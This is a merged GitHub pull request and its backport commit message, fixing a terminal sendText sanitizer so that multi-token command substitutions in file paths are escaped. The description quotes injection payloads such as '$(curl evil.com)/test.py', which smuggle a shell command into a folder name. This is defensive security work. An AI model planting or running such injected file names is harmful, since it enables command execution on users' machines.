fix(security): Sanitize multi-token command substitution in terminal sendText#206
Merged
aakashmandavilli96 merged 1 commit intoaws:1.1from Apr 20, 2026
Merged
Conversation
…nitizer
The previous fix only escaped $() within single whitespace-delimited
tokens. Payloads like $(curl google.com)/test.py span two tokens so
the $( was never escaped.
Fix by matching $(...), ${...}, and backticks as complete constructs
(including internal spaces) when immediately followed by /. Also removes
fragile single-quote context detection that was bypassable via
apostrophes in preceding text.
aws-ajangg
approved these changes
Apr 20, 2026
azmkercso
pushed a commit
that referenced
this pull request
Apr 23, 2026
…Text ## Issue P401260599 ## Description of Changes Backport the multi-token command substitution fix from 1.0/1.1 (PR #206/#207). The previous sanitizer only escaped $() within single whitespace-delimited tokens. Payloads like $(curl evil.com)/test.py that span whitespace boundaries were not caught. ## Testing - Verified patch applies cleanly via quilt (prepare-src.sh) ## Screenshots/Videos ## Additional Notes Replaces the existing sanitize-terminal-sendtext-paths.diff with the updated version already merged on 1.0 (#207) and 1.1 (#206). ## Backporting Already merged on 1.0 and 1.1. This brings main in sync.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
3 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
File/folder names containing shell metacharacters (e.g.,
$(curl evil.com))trigger command injection when extensions send commands viasendText().This patch escapes
$(), ${}, and backticksubstitution patterns when immediately followed by / (path context). Handles multi-token payloads like$(cmd arg)/paththat span whitespace boundaries.By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.